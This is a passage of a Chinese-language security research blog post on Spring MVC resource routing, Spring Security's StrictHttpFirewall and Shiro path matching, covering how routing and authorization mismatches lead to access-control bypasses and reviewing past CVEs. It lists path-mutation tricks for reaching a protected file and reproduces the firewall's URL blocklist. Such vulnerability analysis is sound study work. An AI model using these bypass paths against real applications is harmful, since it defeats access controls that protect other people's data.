        List<HttpRange> httpRanges = inputMessage.getHeaders().getRange();
        response.setStatus(HttpServletResponse.SC_PARTIAL_CONTENT);
        this.resourceRegionHttpMessageConverter.write(
        HttpRange.toResourceRegions(httpRanges, resource), mediaType, outputMessage);
    }
}

请求只支持 GET 和 OPTIONS 方法，并且支持 HTTP 缓存，对于未修改的资源可以返回 304；此外还有个值得注意的点是这里还支持了 HTTP Range 头，即从指定偏移开始读取文件。

资源分为两种，一种是 classpath resource，即 Jar 包中的文件，另一种是 ServletContext resource，即 Web 目录中的磁盘文件。是否能够定位到对应文件的关键是 getResource 是否能成功返回对于资源:

protected Resource getResource(HttpServletRequest request) throws IOException {
	String path = (String) request.getAttribute(HandlerMapping.PATH_WITHIN_HANDLER_MAPPING_ATTRIBUTE);
	if (path == null) {
		throw new IllegalStateException("Required request attribute '" +
				HandlerMapping.PATH_WITHIN_HANDLER_MAPPING_ATTRIBUTE + "' is not set");
	}

	path = processPath(path);
	if (!StringUtils.hasText(path) || isInvalidPath(path)) {
		return null;
	}
	if (isInvalidEncodedPath(path)) {
		return null;
	}

	Assert.state(this.resolverChain != null, "ResourceResolverChain not initialized.");
	Assert.state(this.transformerChain != null, "ResourceTransformerChain not initialized.");

	Resource resource = this.resolverChain.resolveResource(request, path, getLocations());
	if (resource != null) {
		resource = this.transformerChain.transform(request, resource);
	}
	return resource;
}

首先关注局部变量 path，该值是之前保存到属性中的。回顾之前 HandlerMapping 一节中 lookupHandler 的代码末尾。pathWithinMapping，这个参数会在 buildPathExposingHandler 中使用，最终会创建一个拦截器 PathExposingHandlerInterceptor，而这个拦截器会在 DispatcherServlet 中调用 handler 前调用，即 mappedHandler.applyPreHandle()。该拦截器会使用 request 的属性保存该 URL，且这个 URL 就是这里寻址资源时用到的 path 值:

String pathWithinMapping = pattern.extractPathWithinPattern(path.pathWithinApplication()).value();
pathWithinMapping = UrlPathHelper.defaultInstance.removeSemicolonContent(pathWithinMapping);
return buildPathExposingHandler(handler, pattern.getPatternString(), pathWithinMapping, null);

buildPathExposingHandler 中设置属性:

request.setAttribute(PATH_WITHIN_HANDLER_MAPPING_ATTRIBUTE, pathWithinMapping);

因此，这里的 path 会经过一部分预处理。

PathPattern#extractPathWithinPattern 中的处理方法还是从 path element 的维度去处理，如果其中有连续的分隔符会进行合并，随后会返回从第一个非分隔符的元素一直到最后一个非分隔符的元素，因此路径 /foo//bar/ 处理后会变成 foo/bar。

removeSemicolonContent 则是删除 URL 中的路径参数。

仅从这个预处理的代码片段来看，路径 /foo/;/bar 处理后依旧会保留连续的分隔符形成 foo//bar，当然具体影响还要看后续的处理代码。

在获得部分处理的路径后，会继续经过 processPath 过滤，代码如下:

protected String processPath(String path) {
    path = StringUtils.replace(path, "\\", "/");
    path = cleanDuplicateSlashes(path);
    return cleanLeadingSlash(path);
}
private String cleanLeadingSlash(String path) {
    boolean slash = false;
    for (int i = 0; i < path.length(); i++) {
        if (path.charAt(i) == '/') {
            slash = true;
        }
        else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
            if (i == 0 || (i == 1 && slash)) {
                return path;
            }
            return (slash ? "/" + path.substring(i) : path.substring(i));
        }
    }
    return (slash ? "/" : "");
}
  1. 将 \ 替换为了 /；
  2. 删除重复的 /，比如 //；
  3. 删除路径前部的 /，准确来说是所有 / 和控制符(00-1F, 7F)的组合；

注意 cleanLeadingSlash 的实现，会从第一个字符开始查找，直到找到第一个大于 \x20 且不等于 \x7F 的字符，返回此后的子字符串，根据期间是否出现过 / 来判断结果是否要在前方添加 /。

processPath 之后会判断路径是否为空且是否为合法的路径，判断方法为:

protected boolean isInvalidPath(String path) {
	if (path.contains("WEB-INF") || path.contains("META-INF")) {
		return true;
	}
	if (path.contains(":/")) {
		String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
		if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
			return true;
        }
    }
	if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
		return true;
    }
	return false;
}

其中对请求资源的路径做了几个限制:

  1. 不能包含 WEB-INF 或者 META-INF；
  2. 不能是 URL；
  3. 对于包含 .. 的路径，使用 cleanPath 不能再包含 ../；

ResourceUtils.isUrl 的实现的伪代码如下:

public static boolean isUrl(String resourceLocation) {
    if (resourceLocation.startsWith("classpath:")) {
        return true;
    }	
    try {
        new URL(location);
        return true;
    } catch (MalformedURLException ex) {
        return false;
    }
}

除了以 classpath: 开头的路径，其他都依赖于 java.net.URL 构造函数中的处理，即如果能成功调用 URL 的构造函数就认为是一个 URL。根据官方文档，URL 构造函数抛出异常的条件是:

if no protocol is specified, or an unknown protocol is found, or spec is null.

感觉这里还是有点操作空间的，比如从源码中对比一下 Spring 支持而 URL 不支持的协议。

StringUtils.cleanPath 的作用主要是将路径进行归一化，不过考虑到 path 可能包含特殊的协议头，要考虑的情况就变得相对复杂了:

public static String cleanPath(String path) {
	String normalizedPath = replace(path, WINDOWS_FOLDER_SEPARATOR, FOLDER_SEPARATOR);
	String pathToUse = normalizedPath;

    // 去除协议部分
	int prefixIndex = pathToUse.indexOf(':');
	String prefix = "";
	if (prefixIndex != -1) {
		prefix = pathToUse.substring(0, prefixIndex + 1);
		if (prefix.contains(FOLDER_SEPARATOR)) {
			prefix = "";
		}
		else {
			pathToUse = pathToUse.substring(prefixIndex + 1);
		}
	}
	if (pathToUse.startsWith(FOLDER_SEPARATOR)) {
		prefix = prefix + FOLDER_SEPARATOR;
		pathToUse = pathToUse.substring(1);
	}

    // 处理路径树
	String[] pathArray = delimitedListToStringArray(pathToUse, FOLDER_SEPARATOR);
	Deque<String> pathElements = new ArrayDeque<>(pathArray.length);
	int tops = 0;
	for (int i = pathArray.length - 1; i >= 0; i--) {
		String element = pathArray[i];
		if (".".equals(element)) {
			// Points to current directory - drop it.
		} else if ("..".equals(element)) {
			// Registering top path found.
			tops++;
		} else {
			if (tops > 0) {
				// Merging path element with element corresponding to top path.
				tops--;
			}
			else {
				// Normal path element found.
				pathElements.addFirst(element);
			}
		}
	}
	// All path elements stayed the same - shortcut
	if (pathArray.length == pathElements.size()) {
		return normalizedPath;
	}
	// Remaining top paths need to be retained.
	for (int i = 0; i < tops; i++) {
		pathElements.addFirst(TOP_PATH);
	}
	// If nothing else left, at least explicitly point to current path.
	if (pathElements.size() == 1 && pathElements.getLast().isEmpty() && !prefix.endsWith(FOLDER_SEPARATOR)) {
		pathElements.addFirst(CURRENT_PATH);
	}

	final String joined = collectionToDelimitedString(pathElements, FOLDER_SEPARATOR);
	// avoid string concatenation with empty prefix
	return prefix.isEmpty() ? joined : prefix + joined;
   }

cleanPath 中使用的算法是将路径以 / 分隔，并将列表从后往前进行处理，最后将列表重新组合成新的路径。值得注意的是该方法只是将路径中的 . 去除以及将路径中间的 .. 移动到前方，比如 foo/../../bar 会变成 ../bar，因此该方法的注释中也说了不能讲其作为安全校验来防止路径穿越。这也是为什么要对 cleanPath 之后的路径再次检查是否存在 ../ 的原因。这样过滤的好处是可以找出归一化后以 ../ 开头的路径，即目录穿越到 web 应用 context-root 之外的路径。

回顾 isInvalidPath 的实现，此时 path 虽然经过了一定的处理，但现在还是包含 URL 编码字符的，因此猜测这里并不是唯一的安全校验，否则可以被比较容易地绕过。不过从这个判断的实现上来看，我们可以学习到 Spring 对于资源请求的一些设计，比如支持 URL、classpath: 和 url: 格式的资源，以及 WEB-INF 路径中的文件被认为是敏感信息等。

接着看下一个判断，isInvalidEncodedPath，根据其实现正好验证了我们上节的猜想，即 path 如果包含 URL 编码，需要对解码后的路径再次进行安全判断:

private boolean isInvalidEncodedPath(String path) {
    if (path.contains("%")) {
        try {
            // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars
            String decodedPath = URLDecoder.decode(path, StandardCharsets.UTF_8);
            if (isInvalidPath(decodedPath)) {
                return true;
            }
            decodedPath = processPath(decodedPath);
            if (isInvalidPath(decodedPath)) {
                return true;
            }
        }
        catch (IllegalArgumentException ex) {
            // May not be possible to decode...
        }
    }
    return false;
}

URL 解码后的路径进行了两次判断，第一次是针对解码后的原始 URL，第二次是 processPath 之后的 URL，判断和前面一样都是通过 isInvalidPath。

在经过一系列前置判断后，最后开始使用 resolveResource 查找资源。基于 getLocations() 返回的 classpath resource 或者 context resource 分别进行查找:

// org.springframework.web.servlet.resource.PathResourceResolver#getResource()
for (Resource location : locations) {
    String pathToUse = encodeOrDecodeIfNecessary(resourcePath, request, location);
    Resource resource = getResource(pathToUse, location);
    if (resource != null) {
        return resource;
    }
}

encodeOrDecodeIfNecessary 对请求的路径进行了 URL 解码。当然主要取决于对应请求的 HandlerMapper 配置，对于大部分映射而言只要请求使用 PathContainer 封装就需要进行解码；在一些特殊的 HandlerMapper 中可能会已经对请求进行解码，因此这里反而会需要进行编码。

getResource 使用 Resource.createRelative 获取指定资源文件，并且在获取到后还使用 checkResource 进行了额外的防御性检查:

protected Resource getResource(String resourcePath, Resource location) throws IOException {
    Resource resource = location.createRelative(resourcePath);
    if (resource.isReadable()) {
        if (checkResource(resource, location)) {
            return resource;
        }
        else if (logger.isWarnEnabled()) {
            Resource[] allowed = getAllowedLocations();
            logger.warn(LogFormatUtils.formatValue(
                "Resource path \"" + resourcePath + "\" was successfully resolved " +
                "but resource \"" + resource.getURL() + "\" is neither under " +
                "the current location \"" + location.getURL() + "\" nor under any of " +
                "the allowed locations " + (allowed != null ? Arrays.asList(allowed) : "[]"), -1, true));
        }
    }
    return null;
}

Resource 是 Spring 中一个真的资源的抽象接口，具有多种实现，包括前面介绍过的，比如:

  • ClassPathResource: 使用 Class.getResource 或者 ClassLoader.getResource 接口去读取对应文件；
  • ServletContextResource: 使用 ServletContext.getResource 或者 ServletContext.getRealPath 读取 web 应用目录下相对路径的文件；
  • FileSystemResource: 使用 java.io.File 接口读取磁盘文件；
  • …

每种资源的实现各不相同，但总的来说 createRelative 大都是通过 StringUtils.applyRelativePath(this.path, relativePath) 构造新的 Resource。

至于 checkResource 的实现这里就不展开了，除非你已经绕过了 getResource 之前对路径的重重校验。这里主要是进行防御性的检查，判断新的资源是否在原始资源目录之下，根据资源类型的不同可能会调用 getURL 或者 getPath 作为资源的路径，并使用 String.startsWith 对整理后的路径进行比较。

Bypass Tricks

通过上面对 Spring MVC 路由代码的分析可以看出，对于大多数 HandlerMethodMapping，Spring 使用 PathPattern 去进行路径匹配，类似于 Ant 风格的最优匹配方式，因此对指定路由的变异相比于 Tomcat 等 Web 容器而言会少很多；但是对于资源文件的路由则可以使用更多变种。

假设存在资源文件 resources/static/secret.txt，对应的路由是 /secret.txt，可以使用下面的变体:

  1. /secret.txt/: 预处理时候会变成 secret.txt 删除前方以及末尾的分隔符；
  2. /;/secret.txt: 预处理时候删除连续的分隔符，和 // 的差别是处理阶段不同；
  3. /secret.txt;a=b: 预处理时候会删除路径参数；
  4. \secret.txt: 基于 processPath 中将 \ 替换成 / 的变异；
  5. //secret.txt: 基于 cleanDuplicateSlashes 的变异，因此前面遗留的连续分隔符不会影响；
  6. / / // secret.txt: 基于 cleanLeadingSlash 的变异；
  7. /secret.%74%78%74: 寻找文件前会通过 encodeOrDecodeIfNecessary 进行 URL 解码；
  8. /foo/.././/secret.txt: createRelative 中会组合路径，并将其当做最终路径；

这些路径变异方式可以组合进行使用，从而根据需要构造出更加复杂的变异。当然值得注意的是其中某些变异可能会在 Web 容器就被拦截，比如 Tomcat 在碰到路径中包含(未编码的)空格时会直接返回 400 错误。

Spring Security

前面详细分析了 Spring MVC 的路由实现，在实际的 Spring 应用中通常配套使用 Spring-Security 作为认证和鉴权方案，因此本节将二者结合起来看，以加深对鉴权逻辑的理解。另外也会分析一些历史上出现过的 Spring Security 鉴权绕过漏洞，结合实际案例进行分析。

如无特别说明，本节使用的安全配置代码如下:

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http.csrf().disable()
                .authorizeHttpRequests((requests) -> requests
                        .requestMatchers("/secret.txt").hasRole("USER")
                        .requestMatchers("/api/flag").hasRole("USER")
                        .requestMatchers("/**").permitAll()
                )
                .formLogin((form) -> form
                        .loginPage("/login").permitAll()
                )
                .logout(LogoutConfigurer::permitAll);
        return http.build();
    }
}

本文使用的版本是 spring-security-web 6.0.3

首先构造一个简单的变异 /api/flag;xxx 进行请求后发现结果直接返回 400，在 DispatcherServlet 中直接看到请求的是 /error 界面。因此猜测在 Spring Security 引入的某个 Filter 中拦截了请求。

调试方式还是在 org.apache.catalina.core.ApplicationFilterChain#internalDoFilter 中遍历每个 filter 时进行断点，最终发现在 org.springframework.web.filter.DelegatingFilterProxy#doFilter 中触发了 response.setError，从而跳出循环并查找自定义错误页面进行输出。

在 org.springframework.security.web.FilterChainProxy#doFilter 中内部抛出了异常并被捕捉，异常类的详细信息如下:

org.springframework.security.web.firewall.RequestRejectedException: The request was rejected because the URL contained a potentially malicious String ";"
	at org.springframework.security.web.firewall.StrictHttpFirewall.rejectedBlocklistedUrls(StrictHttpFirewall.java:535)
	at org.springframework.security.web.firewall.StrictHttpFirewall.getFirewalledRequest(StrictHttpFirewall.java:505)
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:211)
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:191)
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:352)
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:268)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)

即核心在于 StrictHttpFirewall 的拦截。下面是调用方的代码:

// org.springframework.security.web.FilterChainProxy
private void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain)
		throws IOException, ServletException {
	FirewalledRequest firewallRequest = this.firewall.getFirewalledRequest((HttpServletRequest) request);
	HttpServletResponse firewallResponse = this.firewall.getFirewalledResponse((HttpServletResponse) response);
	List<Filter> filters = getFilters(firewallRequest);
	if (filters == null || filters.size() == 0) {
		if (logger.isTraceEnabled()) {
			logger.trace(LogMessage.of(() -> "No security for " + requestLine(firewallRequest)));
		}
		firewallRequest.reset();
		this.filterChainDecorator.decorate(chain).doFilter(firewallRequest, firewallResponse);
		return;
	}
	if (logger.isDebugEnabled()) {
		logger.debug(LogMessage.of(() -> "Securing " + requestLine(firewallRequest)));
	}
	FilterChain reset = (req, res) -> {
		if (logger.isDebugEnabled()) {
			logger.debug(LogMessage.of(() -> "Secured " + requestLine(firewallRequest)));
		}
		// Deactivate path stripping as we exit the security filter chain
		firewallRequest.reset();
		chain.doFilter(req, res);
	};
	this.filterChainDecorator.decorate(reset, filters).doFilter(firewallRequest, firewallResponse);
}

在请求 firewall.getFirewalledRequest 时抛出了异常:

public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException {
    rejectForbiddenHttpMethod(request);
    rejectedBlocklistedUrls(request);
    rejectedUntrustedHosts(request);
    if (!isNormalized(request)) {
        throw new RequestRejectedException("The request was rejected because the URL was not normalized.");
    }
    rejectNonPrintableAsciiCharactersInFieldName(request.getRequestURI(), "requestURI");
    return new StrictFirewalledRequest(request);
}

对于请求的拦截包括:

  1. rejectForbiddenHttpMethod: 拦截非法的请求方法，默认允许的方法为 HEAD, DELETE, POST, GET, OPTIONS, PATCH, PUT 这 7 个；
  2. rejectedBlocklistedUrls: 拦截 URL 中的特殊字符,
    • encodedUrlBlocklist: //, \x00, %2F2F, %00, %25, \n, \r, %5C, %3B, %0A, %2E, %2F, %0D, ;, \;
    • decodedUrlBlocklist: //, \x00, %2F2F, %00, %, \u2028, \u2029 \n, \r, %5C, %3B, %0A, %2F, %0D, ;, \;
  3. rejectedUntrustedHosts: 拦截不可信的请求域名 (request.getServerName);
  4. isNormalized: 拦截包含 ./, /../, /. 字符的路径；
  5. rejectNonPrintableAsciiCharactersInFieldName: 拦截 getRequestURI 中包含不可打印字符的请求，即小于 \x20 或者大于 \x7e 的字符；

在 2 中两个 Blocklist 略有不同，二者都检查了 getContextPath 的值，但前者检查的是 getRequestURI，而后者检查的是 getPathInfo 的值；这里列举的字符我删除了一些大小写的变体，具体分类如下:

public StrictHttpFirewall() {
    urlBlocklistsAddAll(FORBIDDEN_SEMICOLON);
    urlBlocklistsAddAll(FORBIDDEN_FORWARDSLASH);
    urlBlocklistsAddAll(FORBIDDEN_DOUBLE_FORWARDSLASH);
    urlBlocklistsAddAll(FORBIDDEN_BACKSLASH);
    urlBlocklistsAddAll(FORBIDDEN_NULL);
    urlBlocklistsAddAll(FORBIDDEN_LF);
    urlBlocklistsAddAll(FORBIDDEN_CR);

    this.encodedUrlBlocklist.add(ENCODED_PERCENT);
    this.encodedUrlBlocklist.addAll(FORBIDDEN_ENCODED_PERIOD);
    this.decodedUrlBlocklist.add(PERCENT);
    this.decodedUrlBlocklist.addAll(FORBIDDEN_LINE_SEPARATOR);
    this.decodedUrlBlocklist.addAll(FORBIDDEN_PARAGRAPH_SEPARATOR);
}

在 4 中检查的路径包括 getRequestURI、getContextPath、getServletPath 以及 getPathInfo；

可见在当前版本的默认配置下，Spring Security 拦截了很多 URL 的变体，从而在后续鉴权检查的时候避免了许多潜在的绕过。其中大部分选项都可以配置关闭，比如使用 setAllowSemicolon 来允许分号(路径参数)，详见 StrictHttpFirewall 中的接口。一个重要的例外是 isNormalized 的检查无法关闭，官方文档中的解释是:

There is no way to disable this as it is considered extremely risky to disable this constraint. A few options to allow this behavior is to normalize the request prior to the firewall or using DefaultHttpFirewall instead. Please keep in mind that normalizing the request is fragile and why requests are rejected rather than normalized.

另外其实针对可打印字符的拦截也是无法关闭的，只不过这里的检查并没有考虑对这些字符 URL 编码的情况。

在本节开头的 SecurityConfig 中放了一个类型为 SecurityFilterChain 的 bean，并设置了以下规则:

.requestMatchers("/api/flag").hasRole("USER")

直接请求 /api/flag 会返回 302 跳转到配置的登录地址。想要分析这背后的原理可以和之前一样继续在 FilterChainProxy 中跟踪返回的每个 filter:

List<Filter> filters = getFilters(firewallRequest);

这里直接说结论，最终检查上述规则的 Filter 是 AuthorizationFilter，使用 AuthorizationManager#check 来对路径进行权限检查。

// org.springframework.security.web.access.intercept.AuthorizationFilter#doFilter
AuthorizationDecision decision = this.authorizationManager.check(this::getAuthentication, request);
this.eventPublisher.publishAuthorizationEvent(this::getAuthentication, request, decision);
if (decision != null && !decision.isGranted()) {
    throw new AccessDeniedException("Access Denied");
}
chain.doFilter(request, response);

AuthorizationDecision 只是 bool 的简单封装，保存 isGrant 即认证的结果是否通过。RequestMatcherDelegatingAuthorizationManager#check 的关键实现如下:

public AuthorizationDecision check(Supplier<Authentication> authentication, HttpServletRequest request) {
    this.logger.trace(LogMessage.format("Authorizing %s", request));
	for (RequestMatcherEntry<AuthorizationManager<RequestAuthorizationContext>> mapping : this.mappings) {
		RequestMatcher matcher = mapping.getRequestMatcher();
		MatchResult matchResult = matcher.matcher(request);
		if (matchResult.isMatch()) {
			AuthorizationManager<RequestAuthorizationContext> manager = mapping.getEntry();
            this.logger.trace(LogMessage.format("Checking authorization on %s using %s", request, manager));
			return manager.check(authentication,
					new RequestAuthorizationContext(request, matchResult.getVariables()));
		}
	}
    this.logger.trace(LogMessage.of(() -> "Denying request since did not find matching RequestMatcher"));
	return DENY;
}

this.mappings 保存了 RequestMatcherEntry 类型的列表，请求是否命中规则的判断使用 RequestMatcher#matcher 进行匹配，命中匹配后再使用 AuthorizationManager#check 判断权限是否满足，这里我们显然主要关注前者。

RequestMatcher 接口是 Spring Security 中用于匹配请求的关键接口，具体实现有 antMatchers、regexMatchers 等，这里 /api/flag 对应的是 MvcRequestMatcher，实现如下:

public MatchResult matcher(HttpServletRequest request) {
	if (notMatchMethodOrServletPath(request)) {
		return MatchResult.notMatch();
	}
	MatchableHandlerMapping mapping = getMapping(request);
	if (mapping == null) {
		return this.defaultMatcher.matcher(request);
	}
	RequestMatchResult result = mapping.match(request, this.pattern);
	return (result != null) ? MatchResult.match(result.extractUriTemplateVariables()) : MatchResult.notMatch();
}

其中实际使用了 org.springframework.web.servlet.handler.MatchableHandlerMapping 去进行路径匹配，这个类正是 Spring MVC 中使用的，该映射类通过内省的方式获取，因此避免了检查和路由不一致的问题，从而防止各种路径变异导致的绕过。当然只能说顶层设计是这样的，但具体实现可能依然有些阴暗的角落，这个可以从近期的一些案例中看到。

在 Spring {Boot,Data,Security} 历史漏洞研究 一文中提及到相关的漏洞，这里再深入分析一下。早期 Spring Security 的配置支持 antMatchers, mvcMatchers, 以及 regexMatchers 等多种路径匹配方式，但这些匹配方法多少还是和 Spring MVC 中的路由匹配规则是有差异的。

比如在 SEC-2534 漏洞中，Spring Security 的 antMatchers("/link") 配置与 Spring MVC 的 @RequestMapping("/link") 配置可以被 /link.html 绕过。

在 CVE-2016-5007 中，可以在路径中加入空格来绕过 Spring Security 的判断(早期 Spring Framework 使用 AntPathMatcher 可配置忽略空格且默认开启)。

在 CVE-2022-22975/CVE-2022-22978 中，基于正则表达式的 RegexRequestMatcher 在使用点号 . 比如 .* 时可以被换行符绕过。这是一个正则表达式常见的陷阱，一般使用 Pattern.DOTALL 来指明点号匹配包括换行符的所有字符。

这些漏洞的核心在于，Spring 框架对于路径匹配的规则提供了相比于 Spring Security 更加丰富的配置方法，而用户可以轻易地在二者之间开启不同的配置，导致二者不匹配产生鉴权绕过。针对这类问题，当时开发组提出了一种与 Spring MVC 对齐的匹配方法，即 MvcRequestMatcher。该类使用了 Spring MVC 中的 HandlerMappingIntrospector 来匹配路径和提取变量，从而根治了鉴权和路由不一致的问题。

在新版 Spring Security 的官方文档中也提到，建议开发者使用新的 requestMatcher 接口，并将历史接口的废弃提上日程:

In Spring Security 5.8, the antMatchers, mvcMatchers, and regexMatchers methods were deprecated in favor of new requestMatchers methods. https://docs.spring.io/spring-security/reference/5.8/migration/servlet/config.html

除此之外还有一些鸡肋漏洞，比如 Spring Security 与 WebFlux 的匹配，或者应用在使用 Spring 的基础上还使用了其他 Servlet，又或者是一些特殊配置下的鉴权绕过，这里就不展开介绍了。

参考资料:

Shiro

在 前文 中介绍了 Shiro 针对 Java EE 应用的基本配置以及 URL 路径的过滤和匹配代码实现。实际上在 Shiro 中 Spring 也是一等公民，有单独的配置选项，见: Integrating Apache Shiro into Spring-Boot Applications。

针对 Spring MVC 的路径鉴权匹配实现和针对一般 Java Web 应用的实现大同小异，回顾前文的代码片段:

// org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
final String requestURI = getPathWithinApplication(request);
final String requestURINoTrailingSlash = removeTrailingSlash(requestURI);
for (String pathPattern : filterChainManager.getChainNames()) {
  if (pathMatches(pathPattern, requestURI)) {
    return filterChainManager.proxy(originalChain, pathPattern);
  } else {
    // 针对 Spring Web 的处理
    pathPattern = removeTrailingSlash(pathPattern);
      if (pathMatches(pathPattern, requestURINoTrailingSlash)) {
        return filterChainManager.proxy(originalChain, pathPattern);
      }
  }
}

其中针对 Spring Web 会进行额外处理，即删除 pathPattern 中末尾的分隔符再进行一次比对。值得注意的是 getPathWithinApplication 中使用的路径并不是 getRequestURI 而是 getServletPath + getPathInfo，这几个常见路径的官方介绍如下:

  • getRequestURI: 原始 HTTP 请求路径部分在请求参数(即?)之前部分的内容，这是最原始的数据，包含原样的用户输入；
  • getContextPath: 对应 Context 的路径，即 Web 容器挂载对应应用的前缀；
  • getServletPath: 调用对应 Servlet 时的(相对)路径，不包含 Context 部分，且删除了路径参数；
  • getPathInfo: 额外设置的路径信息，默认为 null；

不管如何，Shiro 会尝试使用“干净”的路径去匹配鉴权规则，这在 Spring MVC 项目中与 Spring Security 比起来就多了很多潜在的鉴权路由不匹配风险。基本上 Spring Security 出现过的问题很可能也会在 Shiro 中出现。

比如，Spring Security 中 CVE-2016-5007，通过在路径添加空格的方式绕过鉴权，在 Shiro 中就有 CVE-2020-17510 和 CVE-2020-17523 等针对 AntPathMatcher 的绕过方式；

又比如，Spring Security 中 regexMatcher 正则表达式 DOTALL 问题导致的 CVE-2022-22978，在 Shiro 中也有几乎一样的 CVE-2022-32532，针对 RegExPatternMatcher 的绕过方式；

关于更多 Shiro 的历史漏洞介绍和分析，可以参考已有的优秀文章，比如 Shiro 历史漏洞分析。

总结

相比于传统的 JavaEE Web 应用，Spring 基于全匹配的 DispatcherServlet 实现了一套应用层的路由方案，并且在依赖注入的加持下使得业务开发和配置变得更加方便。这一套路由方案屏蔽了底层 Servlet 容器的解析差异，但同时也引入了 Spring 特有的解析陷阱。在不断的更新过程中，Spring Security 逐渐与 MVC 对齐，使用相同的路径匹配方法，从而避免鉴权和路由不一致的问题，但是 Shiro 就没那么幸运了，作为 “外拨秧” 缺乏官方的支持，只能寻求更为通用的解决方案，但未来这类不匹配的问题可能还是依旧会出现。

通过最近两篇文章针对 URL 路径鉴权的分析，对解析路径时会遇到的陷阱也算有了基本了解。虽然文章只介绍了 Java Web 生态的 URL 鉴权实现，但对于其他应用也是类似的。核心在于 TOCTOU 即判断和最终使用的变量不一致问题。这一类问题不仅出现在 Web 中，在二进制世界经常也是导致条件竞争、UAF 之类漏洞的元凶，值得我们在漏洞挖掘时重点关注。

参考链接

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2023/08/19/url-gotchas-spring/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]>